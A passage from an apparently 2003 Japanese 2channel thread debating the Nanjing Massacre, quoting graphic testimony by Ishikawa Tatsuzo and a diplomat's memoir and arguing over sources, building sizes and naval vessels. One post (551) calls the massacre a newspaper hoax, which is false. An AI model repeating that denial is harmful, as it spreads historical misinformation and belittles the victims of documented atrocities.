>>畠ちゃんのインタビュー以外に石川の証言が残っていないとしたらどうなる?
それは残ってると222さんが言ってたんじゃなかったっけ?
それについては誰も否定してないよ。ソース出せだけ。


540 :名無しかましてよかですか?:03/08/26 19:01 ID:ke9N1Iud
ほい、ソースを提供して差し上げます。

■石川達三は東京裁判の閉廷後のインタビュー
「読売新聞」1946年5月9日付けの記事から
 入城式に送れて正月私が南京へ着いたとき街上は死屍累々大変なものだった。
大きな建物へ一般の中国人数千をおしこめて床へ手榴弾をおき油を流して火を
つけ焦熱地獄の中で悶絶させた。また武装解した捕虜を練兵場へあつめて機銃の
一斉射撃で葬った。しまいには弾丸を使うのはもったいないとあって、揚子江岸
へ長い桟橋を作り、河中へ行くほど低くなるようにしておいて、この上へ中国人
を行列させ、先頭から順々に日本刀で首を切って河中へつきおとしたり逃げ口を
ふさがれた黒山のような捕虜が戸板や机に捕まって川を流れて行くのを下流で待
ち構えた駆逐艦が機銃の一斉射撃で片っぱしから殺害した。


541 :名無しかましてよかですか?:03/08/26 19:13 ID:W9bBYjYo
>>540
さんくす!

542 :編集者:03/08/26 19:35 ID:s8h5RTMf
>>540

ttp://t-t-japan.com/bbs/article/t/tohoho/3/tfrqrf/tfrqrf.html

ここもあわせて読もう。
石川達三の証言とか事の経緯が書いてある。
これ自体検証の余地が多い(畠中の著書の批判文なので事実関係を明確にすべし)
のであわせてご留意願いたい。

問題点は特に無いのですが、検証をしっかりやることを望みます。
私の単純な疑問は

>大きな建物へ一般の中国人数千をおしこめて床へ手榴弾をおき油を流し
>て火をつけ焦熱地獄の中で悶絶させた。

これは大火災になると思われるので日時を特定できれば記録と照合できるはず。
数千人も焼き殺してればさぞかし延焼地域は広がったと予想可能。
ただ、当時の状況から数千人を巨大な建物に押し込めて手榴弾を置き、油を撒いて
殺すというように大規模な作戦は命令書が必須。また、備蓄の問題で大いに疑問が残る。






543 :編集者:03/08/26 19:39 ID:s8h5RTMf
追記

それが実行可能な建物が存在したのなら特定可能でしょう。

数千人(1000人〜9999人)を収容可能な建物はそう多くはないと
思います。当時の地図も残っているので、ぜひとも検証しましょう。

ただ、それだけの大規模火災の話を寡聞にして聞いたことが無いので・・・
どの記録にあるでしょうか?



544 :名無しかましてよかですか?:03/08/26 20:00 ID:z28JnmB1
>>543
水さすようで悪いんだけど、

1000人入れるんなら、例えば
40人×25人で1000人。一人あたりの床面積を50センチ×50センチ
として、20メートル×12.5メートルあればいい。この面積は
一部屋である必要はないので、現代日本のふつーの一戸建て住宅三つ分もあれば
余裕で床面積は確保できる。
3000人でも9戸分、5000人でも15戸分もあればいい。

当時南京では放火し放題だったから、この程度の火災は記録に
のこんないかも。

545 :名無しかましてよかですか?:03/08/26 20:04 ID:z28JnmB1
ただ、数千人の捕虜の処断、だから、まあ一個中隊程度の動員は必要だったかも知れない。
それだけの部隊の出動なら、日本軍の記録見た方が早いかも知れない。

戦闘詳報とかに残ってないかな。

546 :356:03/08/26 20:12 ID:tNun0Q1n
読売の証言か、つまりこれだな。
http://messages.yahoo.co.jp/bbs?.mm=GN&action=m&board=1835559&tid=fn5fe5tbba6a4oa4ga4ca4abeea42a4h3nbfaea47a4fa4a4a4k&sid=1835559&mid=1847
この証言が本当なら、石川は「ありのまま書いた」と言っているので、
「生きている兵隊」は伝聞で書かれたフィクション小説などではなく
石川という「目撃者」による、ナマの証言という事になる。
しかしその内容だが・・・「建物内で油流して焦熱地獄」の件は
編集者氏が既につっこんでるから飛ばすとしても、

 川を流れていく生身の捕虜を【駆逐艦で】待ち構えて機銃掃射とか、

 従軍してた【僧侶が】シャベル片手に殺人行脚とか、

なんともすごいエピソードばっかりだ(笑)
で、そんなのが書かれてるのか、「生きている兵隊」には?
>>516で挙げた「読者の感想」を見ると、そんなイメージじゃないんだけど。

547 :編集者:03/08/26 20:12 ID:s8h5RTMf
>>544

なるほど。
まあ、壁とか柱とか設計上の問題から多少大きくなるでしょうが
最低でも60mX37.5m=2250u=681坪の「家屋面積」なんですな。
よく街で見かける50坪とかが普通の日本の一戸建てだと思ってたので意外でしたw
でもそれだけ大きい建物ってのは普通の平屋と比べて存在数はどうなの?
特定できないほどありふれた建物なのかな?
南京市民は皆良い生活してたんですな。

548 :編集者:03/08/26 20:26 ID:s8h5RTMf
>>546
駆逐艦にかんしては大いに疑問が残るので検証要で。
海軍艦艇が虐殺に関与してるなら、その筋の証言も
たくさん出るはずです。
で探したのが以下のHPです。
ttp://homepage2.nifty.com/hatopigeon/nankin236.htm
これも検証要でご覧ください。

また僧の件は確かにその話が書いてありますね。
書いてあるだけで石川が見たわけではないのですが。

生きている兵隊は証拠としては一時保留がいいと思いますよ。
実際は、作者自身がフィクションをうたってるので使えないの
ですが・・・・。
もし使うと、COUPという本を出して「こういうことも可能だから」
という理由でクーデター疑惑の裁判が行われているのかどうかという話
になってしまうのですが・・・・・・。


549 :編集者:03/08/26 21:27 ID:s8h5RTMf
>>547

訂正
失礼しました。

1000人で家屋 約75.75坪でした。
9999人で家屋 約750坪

参考:間を取ると約400坪

実際それだけ入るかどうかは別の議論でいいとして
この大きさの建物がそこら中にあったのでしょうか?
また、戦闘後まもない市街で建物を燃やすのにはかなりの
事前準備と本格的な部隊投入が必要(準備&延焼を防ぐため)です。
そういった命令はどの経路で出され、どのように処理されたのでしょうか?
また投入人員もかなりの人数が必要です。
これ以外に時間と場所が一致した証言はありますか?
検証要でお願いします。

550 :222:03/08/26 22:07 ID:8kpEHueE
>>編集者
 ソースをありがとう。残りは,何とか本の山から探し出そう。
 眠いので,542で示されているので,確認だけ。阿羅=畠山です。その前提で
私が,247で書いた
>>245
> 阿羅の本のことか?あれこそ信用できない伝聞証拠の最たるものじゃないか。
>第1に,今までの石川が書いた文章と矛盾する,第2に,阿羅しかその話を聞いて
>いない。しかも,検証できない。第3に,石川とのやりとりが阿羅の別名で書いた
>文章と一部食い違う。第4に,阿羅自身とても中立的な人物とは言えない。その意
>味で石川の意図を正しく伝えていない可能性がある。
のソースも示されたことにしたい。

 編集社氏のこのような姿勢には,感謝する。でもスタイルは変えないよ。

551 :名無しかましてよかですか?:03/08/26 22:41 ID:SoFzX4dU


南京大虐殺・・・・
それは日本のみならず中国をも巻き込んだ朝日の壮大な釣りである・・・

いままでこんな釣り師がいたであろうか・・・
すごいぞ、凄いぞ朝日



552 :222:03/08/26 22:48 ID:8kpEHueE
もう一つだけ
 中国人を建物に閉じこめて焼き殺すというのは,過去の証言の中でも繰り返し出てくる。それに対して,否定派は
石油の一滴八の一滴だからそんな馬鹿なことはしないと反論していたはず。

 数千人はともかく数百人を建物に閉じこめて焼き殺す話は,「南京戦閉ざされた記憶を尋ねて」にも出てくる。
93ページには,数百人はいるくらいの倉庫が,いくつもあって,当初は機関銃で殺していたが,最後には焼き殺した
という話が出てくる(但し,伝聞)。
 142ページには,敗残兵(その前に投降している描写があるので捕虜)を城壁の隅っこに全部集めて鉄条網で
囲んで,城壁の上から石油をかけて火を付けて焼き殺してたという話が出てくる(これは,自分が行ったとされている)。
 いずれも,嘘ではなかなか頭が良くないと考えて付かないリアリティがある。
 悪いが,暇がないんで「引用」できないので要旨の紹介にとどめる。ただでさえ,タイピングミスが多くて笑われてい
るからな。それは,職人さんに任せるよ。

553 :544:03/08/26 22:48 ID:z28JnmB1
>>編集者氏
放火、について間接的な資料しか見つからない。とりあえず参考までにあげとく。

>飯沼守少将日記(上海派遣軍参謀長)
>19日 
>憲兵の報告によれば、十八日中山陵奥の建物に放火し、今尚燃えつつあり。
松井大将が特別に保護を命じていた「文化財」にも放火している。
これは日本軍の非行について述べている部分なので、放火犯も日本兵だと見ている。

>集団命令(丁集作命甲号外)
>12月13日 午前8時30分 第10軍柳川兵助中将より
>一、各兵団は城内に対し砲撃はもとより、あらゆる手段を尽くし敵を殲滅す
>べし、これがため要すれば城内を焼却し、残敵の欺瞞行為に乗せられざるを要す。
必要なら火をつけてしまってもよいという命令もでている。

>この大きさの建物がそこら中にあったのでしょうか?
石川証言だと、「全てを一つの家に押し込めて」でもないように読めるんだけど、
何軒かに分けて、ではなかったのかな。どうでしょ。

554 :そりゃ:03/08/26 22:50 ID:vVgPiC9Q
 ここでも無意味な議論を行っていますね.
もし今自衛隊が30万人の人を殺したといううわさがあったとして、実際は10万人しか殺して
なかったとして、何の意味があるの?
 むしろ今後10万人の人を殺さないように、世論を維持していく方が重要だと思うが・・・.

555 :222:03/08/26 22:51 ID:8kpEHueE
またやった
八→は,血

556 :名無しかましてよかですか?:03/08/26 23:02 ID:z28JnmB1
>>546
>川を流れていく生身の捕虜を【駆逐艦で】待ち構えて機銃掃射とか
石川達三は海軍の人ではなかったのだから、例えば掃海艇とかを見て
駆逐艦(小型の軍艦という意味で)と表現していた可能性(あくまでも可能性ねw)
も、否定は出来ないと思うんだけど。で、
海軍の掃海艇が水面の中国兵を射殺していたという資料は確かどこかにあったと。

557 :編集者:03/08/26 23:16 ID:s8h5RTMf
>>222氏
礼は必要ありません。
このスレの方針に従っただけなので。
スタイルというか、話し合う基本姿勢は直されないと話にならないと思いますよ。
>>552
そういう書き方をしていただけるといいですね。
今まで具体的に話が進まなかったのは持ち寄って検証がされなかったせいでもあると
思いますし。

>>553
状況が報告されてるわけですね。
その辺の詳しいのが出るとまた議論に乗せやすいかもしれません。
命令書の文章・なるべく多くの証言を検証してみる方向でよろろ。

石川の件ですが
>大きな建物へ一般の中国人数千をおしこめて床へ手榴弾をおき油を流して火を
>つけ焦熱地獄の中で悶絶させた。

どっちとも取れますな・・・。
多人数を押し込めるから大きな建物なのか?
またはそういった大きな建物が複数なのか?
この辺は、わかりませんがハッキリしなさそうな予感が。

どちらにしても、人の動きから追いましょう。
あったなら必ず何かしらでてきます。
また、あったとして、それが事実としてなんだったかも調べましょう。




558 :そりゃ:03/08/26 23:23 ID:vVgPiC9Q
しかし後ろ向きな行為をしているね

むしろ無意味であるといえる.


559 :編集者:03/08/26 23:29 ID:s8h5RTMf
>>556

砲艦や掃海艇の配備状況を調べ、当時の任務、周囲の状況、乗組員の証言など
ありとあらゆる証拠を集めてみてください。

個人的には「駆逐艦」という判断を石川がどうしてしたのかが気になります。
掃海艇と駆逐艦じゃ排水量が全然違います。
掃海艇=600t前後
駆逐艦=2000t〜
当時は少年たちでさえ区別ははっきりできた時代ですし。
きっぱりと言い切ってるところが気になります。
この1事で全否定するつもりはないのですが、気になるところです。



560 :名無しかましてよかですか?:03/08/26 23:53 ID:W86+02pt
>>554
その言い分はあまりにも稚拙。
例えるなら
「痴漢をしたか?しないか?」ではなく
「胸を触ったか?尻を触ったか?」という馬鹿らしい内容
もっと勉強してこい


561 :名無しかましてよかですか?:03/08/27 00:08 ID:Pgz2nzcb
>>560
見事なまでに意味不明。
何? その例え。

562 :名無しかましてよかですか?:03/08/27 00:10 ID:tNxcR5JP
法眼晋作回顧録「外交の真髄を求めて」より

電信専門の官補時代に最もショックを受けたのは、南京事件(後述)であった。敗走する中国軍を追って南京を占領(昭和十二年一二月十三日)した日本軍が、筆舌を絶する乱暴を働いた事実である。
あまりに乱暴狼藉がひどいので、石射猪太郎東亜局長が陸軍軍務局長に軍紀の是正を求め、広田外相も陸軍大臣に強く注意して自制を求めた。軍は参謀本部二部長・本間少将を現地に送って、
ようやく事態は沈静に向かった。

 戦後現在に至って、南京事件の事実を否定し、これがため著書を発行したり、事実無根との訴訟を起こす者も出てきた。また、被害者の数を問題にする者もいる。残虐行為は被害者の数が問題なのではない。
私に理解できぬのは、この世界を震駭し、知らぬは日本人ばかりなり(当時、報道が軍の厳重な統制下にあった)と言われた大事件を、
如何なる魂胆かは知らぬが否定し、訴訟まで起こす者のいることで、このようなことはまことに不正明なことと言わねばならぬ。盗人猛々しいくらいの形容詞では足りぬ。
歴史的事実はいかなるものであれ、事実として認めるほうが宜しい。
さもなくば、日本は事実を秘匿し始めた、将来またやるかも知れぬ、と案じる外国人も出てこよう。この未曾有の事件を否定すればするほど、日本の恥の上塗りとなるくらいのことは、常識であると思う。

 (「外交の真髄を求めて」 P35〜P36)




563 :名無しかましてよかですか?:03/08/27 02:14 ID:Idee9KRZ
明治43年和歌山県に生まれる。昭和8年東京大学法学部卒業後、12年外務省に入る。34年在ソヴィエト連邦日本大使館参事官、36年欧亜局長となる。以後、オーストラリア国駐剳特命全権大使、外務審議官、外務事務次官、外務省顧問を歴任。
49年国際協力事業団総裁に就任(現顧問)、58年から国策研究会理事長を務めている。


564 :名無しかましてよかですか?:03/08/27 10:54 ID:5oNAsGMj
>>548
おいおい、何じゃこれは?

> 駆逐艦にかんしては大いに疑問が残るので検証要で。
> 海軍艦艇が虐殺に関与してるなら、その筋の証言も
> たくさん出るはずです。
> で探したのが以下のHPです。
> ttp://homepage2.nifty.com/hatopigeon/nankin236.htm
> これも検証要でご覧ください。

これは古くはNifty、最近ではYahooで超有名な鳩のページじゃないか。
鳩の電波は尋常ではないぞ。気をつけたまい。



565 :名無しかましてよかですか?:03/08/27 11:28 ID:nmExJFWy
建物のサイズについて。
もし一つに数千人閉じ込めたなら、具体的には児童数540人程度の小学校くらいか?
(45人教室×10倍詰め×2クラス×6学年=5,400人、廊下や講堂含まず)
微妙。かなり大きいともいえるし、南京クラスの都市ならありきたりとも言えそう。

566 :名無しかましてよかですか?:03/08/27 11:36 ID:nmExJFWy
まあ、複数の建物でトータル数千人、というのが真相だったのかもしれないが。

567 :356:03/08/27 11:44 ID:nzidZKm2
>>552(222氏)
ずいぶん熱心に調べてますな。ページ数まで明確に書いてるじゃないですか。
これじゃどう見ても、あなたには「時間があります」よね。
・・・言いたい事、分かりますよね?何度も言わせないでくださいね。

それにしても、証言や記録の検証をするのはもちろん当たり前なのだが、
検証するソースが「生きている兵隊」と「南京戦・閉ざされた記憶を尋ねて」つーのも
なんつーかスゴイ世界になってきたな。

「南京戦・閉ざされた記憶を尋ねて」の読者の感想
http://www.amazon.co.jp/exec/obidos/ASIN/4784505474/ref%3Dpd%5Fsr%5Fec%5Fir%5Fb/249-4707816-6081906
#テーマとしては非常に興味深い内容でしたが、
#証言をただ列挙するのみで、証言に対して一切の考証が無いなど
#資料的な価値はありません。
(中略)
#この本をもとに某有名ニュースキャスターが特集を組みました。
#しかし、南京戦があった年に、11歳だった自称兵士が登場します。
#この本にも1926年生まれとして登場しています。

568 :名無しかましてよかですか?:03/08/27 12:51 ID:5oNAsGMj
>>434
> その日誌の作者って匿名じゃなかったっけ?
> 匿名での発表の場合、他にその資料を調べる事が出来る環境が無い場合、
> 史料価値は限りなく低い。

へ? 所属部隊は明らかなんだから、名簿みたいなの当たれば調べられるぜ。
今のところ、そういった裏取り調査をやったという否定派人もいないようだし、
ましてや「そういう日記はなかった」とか言っている奴もいないねぇ。あの
東中野でさえも記述内容に文句をつけつつも日記自体は認めているな。

> 段列って、所属部隊の戦闘を円滑に行えるように後方で支援する部隊の事で、
> 虐殺を行えるほど弾の余裕は無いはずなんだけどね。

 戦闘が終わった後の捕虜の処分の話だし、そもそも「突刺したり」、「刀を
借りて首をも切っ」たりすることに弾はいらんねぇ。

都合の悪いものは証拠としては認めない、ってか。ヤレヤレw

569 :名無しかましてよかですか?:03/08/27 12:53 ID:5oNAsGMj
>>568
↑これは誤爆じゃ。こっちのスレではなかった。悪ぃな。

570 :356:03/08/27 12:56 ID:nzidZKm2
>>569
かけもちご苦労様です・・・まぁ漏れもだけど(笑)

南京大虐殺はあったの?何万人殺ったの?9万
http://news3.2ch.net/test/read.cgi/news2/1060906024/

571 :名無しかましてよかですか?:03/08/27 13:01 ID:KaSTPyYj
朝日の夕刊に従軍慰安婦のはなしが連載してるらしいのだが
あれは南京とはまた別問題かな?
スレ違いだったらすまそ


572 :222:03/08/27 13:19 ID:wHHTKoxZ
>>567
>> 「生きている兵隊」が昭和13年3月に発禁になったことを知らなかったことと偕行社のことも知らなかった356へ
 言葉遊びの相手は,後でしてやるよ。

> それにしても、証言や記録の検証をするのはもちろん当たり前なのだが、
> 検証するソースが「生きている兵隊」と「南京戦・閉ざされた記憶を尋ねて」つーのも
> なんつーかスゴイ世界になってきたな。
>
> 「南京戦・閉ざされた記憶を尋ねて」の読者の感想
> http://www.amazon.co.jp/exec/obidos/ASIN/4784505474/ref%3Dpd%5Fsr%5Fec%5Fir%5Fb/249-4707816-6081906
> #テーマとしては非常に興味深い内容でしたが、
> #証言をただ列挙するのみで、証言に対して一切の考証が無いなど
> #資料的な価値はありません。
> (中略)
> #この本をもとに某有名ニュースキャスターが特集を組みました。
> #しかし、南京戦があった年に、11歳だった自称兵士が登場します。
> #この本にも1926年生まれとして登場しています。
 
 馬鹿だなあ。生きている兵隊を誰がソースとしている。石川の読売新聞でのインタビューがソースだろうが。
 未だに,1926年生まれという記載が誤植だったことも知らないのか?さすがにまともな否定派は,誤植と言うことでそこ
は,納得しているぞ。俺が前から言っているだろう。一見して矛盾したり,つじつまが合わないものであっても,そこに真実
が隠れている場合もあるんだから,その可能性を含めて検討するもんだとな。

>>all
 あのときは,評判が悪かったが,俺の言いたいことを今になったら分かるかな。
 


573 :356:03/08/27 13:41 ID:nzidZKm2
>>572
>馬鹿だなあ。生きている兵隊を誰がソースとしている。

>>265(あなたの書き込み)
#当時は誰もしらかなったという否定派に対して,
#石川が「生きている軍隊」を書いている。
#当時から南京事件を知っていた日本人もいたという証拠なのだ。

ご自分の発言すら覚えていないのでしょうか?

>1926年生まれという記載が誤植だったことも知らないのか?
>さすがにまともな否定派は,誤植と言うことでそこは,納得しているぞ。

たまたまそこだけが誤植で、しかも
http://www.geocities.co.jp/SiliconValley-Sunnyvale/6493/top.html
このような追求をされてからの誤植発表ですから、
「まともな人なら」こりゃ言い逃れだな、と判断するものです。
あなたが知ってる否定派とやらは、具体的にどんな方々ですかな?(笑)

>「生きている兵隊」が昭和13年3月に発禁になったことを知らなかったことと偕行社のことも知らなかった356へ
>言葉遊びの相手は,後でしてやるよ。

こちらは「知っていた」と答えてるわけですから、水掛け論ですな。
で、知ってた知らなかったとか多数派少数派とか、
議論に関係無いどーでもいい水掛け論大好きな222氏へ。
こちらの各質問には、別に答えなくてもいいんですよ。義務じゃないんですから。
ただスレを見ている不特定多数の人に
「222は罵倒や印象操作だけで終始逃げ続けた」
と認識されるだけの事ですから、こちらは一向に構いません(笑)

574 :222:03/08/27 13:46 ID:wHHTKoxZ
>>356
 言葉遊びへの返答その1
>例えば私が総理大臣だったとして、個人的主観で
>「捕まってないやつもいるのに捕まったやつだけ処罰するのは不公平!」
>と発言したら、それを根拠に日本は無秩序だ、と言いますか?

 「莫大な数の犯罪者が捕まらずにいるのに,たまたま捕まった犯罪者だけ処罰するのは,不公平だ」
と総理大臣が本気で言ったら,日本は無秩序じゃないか,そりゃあ。戒厳令が布かれるくらいの事態だぞ。

>違います、あなたが「莫大な数の強姦はあったと認めるのか」と質問したから問題なのです。
>「小川がこう認識していた事は認めるか」と質問すれば、確かにあなたの言う通りですが、
>あなたは「小川の認識」ではなく「このスレに参加している者の認識」を問うたのです。
 そうだよ。だけで,私は何の基準を与えなかったわけではないぞ。
>241で
> 莫大な数は,莫大な数だ。小川氏の認識だから私には分からんよ。
>しかし,日本語の使い方としては1000件やそこらでは莫大な数とは言わ
>ないのではないか。莫大な数の意味も知らないほど日本語に不自由か?
と一応の基準を与えているじゃないか。誠実な相手なら,当然そこから先は自分の認識を示すものだろう。
確か君の基準は100万人だっけ。こんな荒唐無稽の数字が誠実とは言わないだろう。
 ところが,君たちは,とにかく,俺に特定の数字を出すことを求めた。次の言葉遊びに使うためにね。




575 :356:03/08/27 13:59 ID:nzidZKm2
>>574
>「莫大な数の犯罪者が捕まらずにいるのに,たまたま捕まった犯罪者だけ処罰するのは,不公平だ」
>と総理大臣が本気で言ったら,日本は無秩序じゃないか

おいおい、「言う」のと「実行する」のじゃ違うだろ。
そういう発言した総理大臣が失脚するだけの話だろ?どこが無秩序よ?
実際に不公平是正と称して犯罪取締りをやめた、とかいうならともかく。
あと「言葉遊び」という印象操作を続けてるのでつっこむが、
上記のどこが言葉遊びなのか、根拠を述べよ。
それができなければ「言葉遊び」発言は撤回せよ。
・・・議論に関係無い設問を増やさせないでくれよ、もう(笑)

>>241で
>> 莫大な数は,莫大な数だ。小川氏の認識だから私には分からんよ。
>>しかし,日本語の使い方としては1000件やそこらでは莫大な数とは言わ
>>ないのではないか。莫大な数の意味も知らないほど日本語に不自由か?
>と一応の基準を与えているじゃないか。誠実な相手なら,当然そこから先は自分の認識を示すものだろう。
>確か君の基準は100万人だっけ。こんな荒唐無稽の数字が誠実とは言わないだろう。

とりあえず分かった事は
・1000前後では「莫大」ではない
・しかし100万では「莫大」でなく「荒唐無稽」である
の2点だな。これを踏まえた上で再質問だ。
100万が荒唐無稽であるという根拠を述べてください。

ていうかさ、「そこから先は自分の認識だ」と言いながら、
こちらの認識にケチつけるってのはどういう了見なんだ?日本語おかしいだろ、それじゃ。
正直疲れたよ。ハァ・・・

576 :222:03/08/27 14:07 ID:wHHTKoxZ
>>356
>>被害証言,加害証言,外国人の目撃
>>証言,兵士の目撃証言と一致しているじゃないか。

>莫大な強姦を見た、という証言なんて他にありましたっけ?
>ていうか他のもそうですが、あなた自分でソース出さないんですね(笑)
 マギーやベーツとうの証言を総合すれば「莫大」な数。
 法務官が部下の報告や自分の見聞から「莫大」と判断したのと同じくらい
マギーやベーツなども目撃しなければならないのか。
 法務官の莫大という数の裏付けは,時と場所を異にする多くの強姦の証言だよ。
また,言葉遊びか。
 何度も言うけど,よく知られている証言は,基本的引用したくない。労力が
咲かれてしまっていつも,議論が尻切れに終わってしまう。少しは自分で調べろよ。
http://members.tripod.co.jp/NankingMassacre/mondai/rape.html
とりあえず,一つだけリンクしておく。知っていたのなら,時間の無駄だし,この程度の
ことも知らなかったら,黙ってROMしてろ。

>>358は,皮肉だよ。君の言葉遊びに対するね。

>>327
  自分は民間人を殺した,捕虜を殺した,強姦をしたという発言が不利益陳述ではなくてなんだね。
厳密に法的責任を問われているわけではないが,自分の信用と名誉を害する発言だろう。

  同僚の兵士の蛮行の証言は,厳密には不利益証言ではないが,心理的には同じような抵抗があ
ると思わないか?

>>358  書いてあるだろう。簡単調べられるものは自分で調べろよ。というか,私がソースを示さないのは
そんなことも知らないで議論に参加するなよという場合か,知っているはずなのに知らないはずをする奴か
,それとも手元にソースがない場合だ。一番最後のケースは,相手方が知らなかったら,調べてソースを
持ってくると約束をしている。


577 :名無しかましてよかですか?:03/08/27 14:13 ID:bG3EI/Oo
マルテンス条項を知らない自称法律家必死だなw
道理で仕事が無いわけだw

578 :222:03/08/27 14:15 ID:wHHTKoxZ
>>356
 良く覚えているよ。君こそ

「生きている兵隊」は当時書かれた著書なんですか?へえー・・・」
という,自分の発言は忘れたか?
 そんなことも知らない奴が,偕行社を知っていたと言われてもねえ。
じゃあ,こう言い直そうか「偕行社が「南京戦死」を出版する動機も知らなかったし,推測することもできなかった
356くん}


579 :222:03/08/27 14:19 ID:wHHTKoxZ
>>577
 へえ,俺マルテンス条項知らなかったんだ!!
412 :222 :03/08/23 12:13 ID:8tAcCnwq
>>407
> >>406

> 最後の絞めとして、ヘーグ条約前文にある以下の言葉を再掲しておこう。
> 「右条項は、軍事上の必要の許す限、努めて戦争の惨害を軽減するの希望を以て定められたるもの」

 君の引用した前文の段落は,マルテンス条項として有名な条項だ。このマルテンス条項の意味するところは
君の理解とは全く逆だ。軍事的な必要を考慮した上で,戦争の惨禍を軽減するために戦争法規を制定した。
つまり,軍事的な必要はすでに検討済みなのだから,それにさらに軍事的な必要を持ち出すのは,軍事的必要
と人道のバランスを崩すことになる。この解釈は,マルテンス条項に,この条約に定めがないからといってなんでも
できるというわけではない。条約に含まれていなくも,文明国間の慣習,人道の法則公共良心の要求により生じる
国際法の原則によって,規制されなければならないと定めていることから明らかだ。
 国際人道法の解釈論の基礎中の基礎だ。マルテンス条項を君のように解釈する学者はいない。
以下は,マルテンス条項全文
締約国の所見に依れは、右条規は、軍事上の必要の許す限、努めて戦争の惨害を軽減するの希望を以て定めら
れたるものにして、交戦者相互間の関係及人民との関係に於て、交戦者の行動の一般 の準縄たるへきものとす。
 但し、実際に起る一切の場合に普く適用すへき規定は、此の際之を協定し置くこと能はさりしと雖、明文なきの故
を以て、規定せられさる総ての場合を軍隊指揮者の擅断に委するは、亦締約国の意思に非さりしなり。
 一層完備したる戦争法規に関する法典の制定せらるるに至る迄は、締約国は、其の採用したる条規に含まれさる
場合に於ても、人民及交戦者か依然文明国の間に存立する慣習、人道の法則及公共良心の要求より生する国際
法の原則の保護及支配の下に立つことを確認するを以て適当と認む。


580 :編集者:03/08/27 14:49 ID:IAQL/kgN
みなさん(というか222氏&356氏)おちついてください(^^;)

まずはあらゆる証拠(と思われるもの)を持ち寄って検証していきましょうよ。
解釈でもめるのは目に見えてるのですが、検証しあい認識を深めることはできると
思いますので。

あと、鳩氏のHPの引用に関しては艦艇のDATAだけは少なくとも正確である事が
確認できました。
検証の材料にしてくださいませ。

581 :356:03/08/27 14:55 ID:nzidZKm2
>>576
> マギーやベーツとうの証言を総合すれば「莫大」な数。

これに対しては、↓このあたりを出しとけばOKだな(笑)
http://www.marino.ne.jp/~rendaico/daitoasenso/tainitisenryaku_kyokutosaiban_ronri.htm
http://www.yk.rim.or.jp/~nishitky/ianfu.html

>何度も言うけど,よく知られている証言は,基本的引用したくない。

「よく知られているかどうか」は個人(あなた)の主観でしょ?
なんで「あなたルール」で議論を進めなくちゃならないんですか?

>自分は民間人を殺した,捕虜を殺した,強姦をしたという発言が不利益陳述ではなくてなんだね。
>厳密に法的責任を問われているわけではないが,自分の信用と名誉を害する発言だろう。

オッサン・・・もとい、ある程度年配の男性なら、
「こう見えても昔はいろいろムチャしたんだよ」などと、
自分の過去の「不良ぶり」を「自慢げに」話したりする事はよくありますけど、
そういう事も知らずに「心理的には」とか言ってるんですか?
もう少し人生勉強とか人間観察とかした方がいいと思いますけど。

>簡単調べられるものは自分で調べろよ。

そういう問題ではない。例えば、
 否定派:「南京事件は無かった、虐殺強姦無かった、証言は皆ウソだ」
 肯定派:「ソースは?」
 否定派:「自分で調べろ」
こういうやりとりも、あなたにとっては有効なんですか?

582 :356:03/08/27 15:03 ID:nzidZKm2
>>578
次元の違う話で対抗されても返答に困るんですが。
>>361でこちらが
>聞かれたので仕方ないから答えます、最初から偕行社云々の件は知ってました(笑)
>結果的にダマすような形になってすみません。
>ただ、そうしないとソース出してくれないと思ったので
こう答えているのだから、それ(>>578)は何の根拠にもなってません。
しかもあなたは「偕行社それ自体」「偕行社のエピソード」「生きている兵隊」の3件を
混同して喋っています。そして何より、

 そ ん な 事 に つ っ こ ん で る 場 合 じ ゃ な い だ ろ お 前 は

議論の中核、肝心な部分に何も答えず、なぜ重箱のスミばかりつついてるんですか?
それこそ「言葉遊び」でしょうが。
あなたの一連の罵倒発言は、全てあなた自身の事に当てはまりますよ。
真面目に議論する気無いんですか?そんなにスルーされたいんですか?

>>580
スマソ

583 :356:03/08/27 15:11 ID:nzidZKm2
ついでに、どうでもいい他人事にもちょっとだけつっこんでおく。
>>579
それ(>>412)に対して、他の人がつっこみ始めて一連の法解釈議論になったんだろ?
なのに発端である412をもっぺん出してどうする?

584 :222:03/08/27 15:29 ID:wHHTKoxZ
>>581
> >>576
> > マギーやベーツとうの証言を総合すれば「莫大」な数。
>
> これに対しては、↓このあたりを出しとけばOKだな(笑)
> http://www.marino.ne.jp/~rendaico/daitoasenso/tainitisenryaku_kyokutosaiban_ronri.htm
> http://www.yk.rim.or.jp/~nishitky/ianfu.html
 全く意味不明だね。こんな理屈で信用性が否定できるなら,何の法的制裁もない南京事件
はなかったと証言する元軍人の供述など鼻を引っかけなくても良くなる。確かに,偽証罪の
制裁はない。しかし,ベーツもマギーも先制して証言している。マギーは神父だよ。天地神明に
誓って嘘はつかないという奴だ。
 人間動機がなければ嘘はつかない。ベーツも,マギーも,ほかにもいたな。何だっけ忘れた。
第三国人(この場合当事者国ではない国の人という意味)が,嘘をつく動機がないんだよ。
しかも,後からになるけど,ラーベの手紙や日記とも一致するだろう。その意味で,許の証言に
は,誇張が含まれてもおかしくないという視点で見る必要はあるだろうね。
 言いかね。偽証罪の制裁がない=信用できないではない。

> >何度も言うけど,よく知られている証言は,基本的引用したくない。
>
> 「よく知られているかどうか」は個人(あなた)の主観でしょ?
> なんで「あなたルール」で議論を進めなくちゃならないんですか?

 文句があるなら,レスをしなければよいだろう。別に俺のルールに従えと言っていない。判断
するのは,第三者だ。俺の要求が厳しければ,ROMは,ソースが出せないからと思うだろうし,
俺の言い分がもっともなら,君が逃げたと思うだけだ。それに,本当に知らなければソースを
出すよ。そこまで,意地悪じゃない。でもな,試されるのは嫌いだ。


585 :名無しかましてよかですか?:03/08/27 15:35 ID:zc7vSSu5
名無し便衣兵(アホですが)が法律家の222に文句があるそうです。
どちらが嘘付きなんでしょう。


「マルテンス条項」
一層完備したる戦争法規に関する法典の制定されるるに至る迄は、締約国は、其の
採用したる条規に含まれざる場合に於ても、人民及交戦者が以前文明国の間に存立する慣習、人
道の法則及公
共良心の要求より生ずる国際法の原則の保護及支配の下に立つことを確認するを以
て適当と認む。

これだよマルテンス条項は。おまい、ハーグ法の前文全てがマルテンス条項だと
思ってるだろw

222の意見
> 君の引用した前文の段落は,マルテンス条項として有名な条項だ。このマルテンス条項の意味するところは


586 :222:03/08/27 15:37 ID:wHHTKoxZ
>>581
>
> >自分は民間人を殺した,捕虜を殺した,強姦をしたという発言が不利益陳述ではなくてなんだね。
> >厳密に法的責任を問われているわけではないが,自分の信用と名誉を害する発言だろう。
>
> オッサン・・・もとい、ある程度年配の男性なら、
> 「こう見えても昔はいろいろムチャしたんだよ」などと、
